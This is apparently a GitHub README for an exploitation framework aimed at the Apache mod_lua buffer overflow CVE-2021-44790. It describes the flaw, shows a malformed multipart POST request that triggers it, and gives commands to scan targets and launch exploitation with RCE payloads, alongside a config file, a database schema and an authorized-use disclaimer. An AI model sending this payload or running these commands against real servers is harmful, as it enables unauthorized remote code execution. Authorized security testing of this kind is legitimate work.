
Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.
Exploitation du dépassement de tampon d'Apache mod_lua est une plateforme d'exploitation avancée de niveau entreprise pour CVE-2021-44790 - une vulnérabilité critique de dépassement de tampon dans le module mod_lua du serveur Apache HTTP Server 2.4.x. Ce framework offre des capacités complètes d'empreinte numérique, de découverte intelligente de scripts, d'analyse multi-étapes et de génération de rapports professionnels, avec une détection à plus de 95 % de confiance.
La vulnérabilité se situe dans le module mod_lua lors du traitement des requêtes multipart/form-data. Un sous-dépassement d'entier dans la fonction lua_request_parsebody() peut conduire à un dépassement de tampon basé sur le tas (heap), permettant potentiellement l'exécution de code à distance.
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
| Interface principale | Résultats d'empreinte |
|---|---|
![]() | ![]() |
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
python3 exploit.py [TARGET] [OPTIONS]
python3 exploit.py https://example.com --verbose --report all
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
python3 exploit.py --batch targets.txt --config config.yaml
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------
# Scan Settings
threads: 20 # Concurrent threads
timeout: 10 # Request timeout in seconds
retries: 3 # Number of retry attempts
rate_limit: 10 # Requests per second
max_depth: 3 # Directory traversal depth
follow_redirects: true # Follow HTTP redirects
verify_ssl: false # Verify SSL certificates
# Network Settings
proxy: null # Proxy URL
http2: true # Enable HTTP/2 support
user_agent: random # User-Agent (random/specific)
save_packets: false # Save raw network packets
# Analysis Settings
research_mode: true # Enable research database
verbose: false # Verbose output
scan_only: false # Scan without exploitation
exploit: false # Enable exploitation
all_payloads: false # Use all payloads
# Payload Settings
payloads:
detection: true
memory: true
rce: true
dos: false
# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports
# Database Settings
database_path: luastorm.db
database_retention: 365
# Directory Settings
logs_dir: logs
screenshots_dir: screenshots
{
"scan_id": "a1b2c3d4",
"target": {
"url": "https://example.com",
"hostname": "example.com",
"port": 443
},
"vulnerable": true,
"risk_level": "Critical",
"scan_duration": 45.23,
"timestamp": "2026-08-04T15:45:23"
}
-- Targets table
CREATE TABLE targets (
id INTEGER PRIMARY KEY,
scan_id TEXT UNIQUE,
url TEXT,
hostname TEXT,
ip TEXT,
port INTEGER,
protocol TEXT,
apache_version TEXT,
lua_version TEXT,
os TEXT,
architecture TEXT,
waf TEXT,
cdn TEXT,
vulnerable INTEGER,
risk_level TEXT,
scan_date TEXT,
duration REAL
);
-- Scripts table
CREATE TABLE scripts (
id INTEGER PRIMARY KEY,
scan_id TEXT,
path TEXT,
method TEXT,
status_code INTEGER,
content_type TEXT,
response_time REAL,
vulnerable INTEGER
);
-- Payloads table
CREATE TABLE payloads (
id INTEGER PRIMARY KEY,
scan_id TEXT,
script_id INTEGER,
payload_name TEXT,
payload_type TEXT,
success INTEGER,
response_time REAL,
indicators TEXT,
error TEXT
);
# plugins/my_plugin.py
class MyPlugin:
plugin_name = "my_plugin"
plugin_version = "1.0"
plugin_author = "Your Name"
def __init__(self, config):
self.config = config
def execute(self, target_info):
"""Execute plugin logic"""
return {
'status': 'success',
'message': 'Plugin executed',
'data': {'target': target_info.url}
}
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.
By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes
Les contributions sont les bienvenues ! Veuillez suivre ces directives :
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
python -m pytest tests/
Sudeepa Wanigarathna
À des fins éducatives et de tests autorisés uniquement
Ce logiciel est fourni « tel quel », sans garantie d'aucune sorte, expresse ou implicite.
⭐ Mettez une étoile à ce dépôt pour soutenir le projet !
💡 Vous avez trouvé un bug ? Ouvrir une issue
📧 Contact : [email protected]
Conçu avec ❤️ pour la communauté de la sécurité
| Fonctionnalité | Description |
|---|
| 🔍 Empreinte numérique avancée | Détection de la version d'Apache, de mod_lua, du système d'exploitation, de l'architecture, du WAF, du CDN, du conteneur et du fournisseur cloud |
| 🎯 Découverte intelligente | Plus de 7 techniques de découverte, notamment robots.txt, sitemap, analyse HTML, extraction JavaScript |
| 💥 Analyse multi-étapes | Connexion → Empreinte → Découverte → Vérification → Exploitation → Rapport |
| 🧩 Système de plugins extensible | Développement facile de plugins pour de futures CVE |
| 🌐 Moteur HTTP intelligent | Pool de connexions, nouvelles tentatives, prise en charge HTTP/2, limitation du débit |
| 📊 Rapports complets | JSON, HTML, Markdown, PDF avec tableaux de bord interactifs |
| 🎨 Interface terminal élégante | Bibliothèque Rich avec barres de progression, tableaux et sortie à code couleur |
| 💾 Base de données de recherche | Stockage SQLite avec historique complet des analyses et prise en charge des requêtes |
| 📸 Capture d'écran | Captures d'écran automatiques des pages web pour la collecte de preuves |
| 🚀 Haute performance | Plus de 20 threads simultanés, plus de 100 pools de connexions |
| Attribut | Valeur |
|---|
| CVE ID | CVE-2021-44790 |
| Vulnérabilité | Dépassement de tampon (sous-dépassement d'entier) |
| Logiciel affecté | Apache HTTP Server 2.4.0 à 2.4.51 |
| Version corrigée | Apache HTTP Server 2.4.52 et ultérieur |
| Composant | Module mod_lua |
| Vecteur d'attaque | Réseau (à distance) |
| Score CVSS | 9,8 (Critique) |
| Impact sur la confidentialité | Élevé |
| Impact sur l'intégrité | Élevé |
| Impact sur la disponibilité | Élevé |
| Maturité de l'exploit | Preuve de concept disponible |
| Progression de l'analyse | Tableau de bord du rapport HTML |
|---|
![]() | ![]() |
| Option | Description | Exemple |
|---|
TARGET | URL cible | http://target.com |
--config FILE | Fichier de configuration | --config config.yaml |
--threads N | Nombre de threads | --threads 30 |
--timeout N | Délai d'expiration de la requête (secondes) | --timeout 15 |
--proxy URL | URL du proxy | --proxy http://127.0.0.1:8080 |
--verbose | Sortie détaillée | --verbose |
--scan-only | Analyse sans exploitation | --scan-only |
--exploit | Activer l'exploitation | --exploit |
--all-payloads | Utiliser toutes les charges utiles | --all-payloads |
--report FORMAT | Format du rapport (json/html/markdown/all) | --report all |
--output DIR | Répertoire de sortie | --output /path/to/reports/ |
--research | Activer le mode recherche | --research |
--database FILE | Chemin de la base de données | --database luastorm.db |
--screenshot | Prendre des captures d'écran | --screenshot |
--batch FILE | Fichier de lot contenant les cibles | --batch targets.txt |
--query SQL | Exécuter une requête de base de données | --query "SELECT * FROM targets" |
| Fonctionnalité | Performance |
|---|
| Empreinte numérique | < 2 secondes |
| Découverte de scripts | 5-10 secondes |
| Test des charges utiles | 1-5 secondes par charge utile |
| Génération de rapports | < 1 seconde |
| Opérations de base de données | < 100 ms |
| Threads simultanés | 20+ |
| Pool de connexions | 100+ |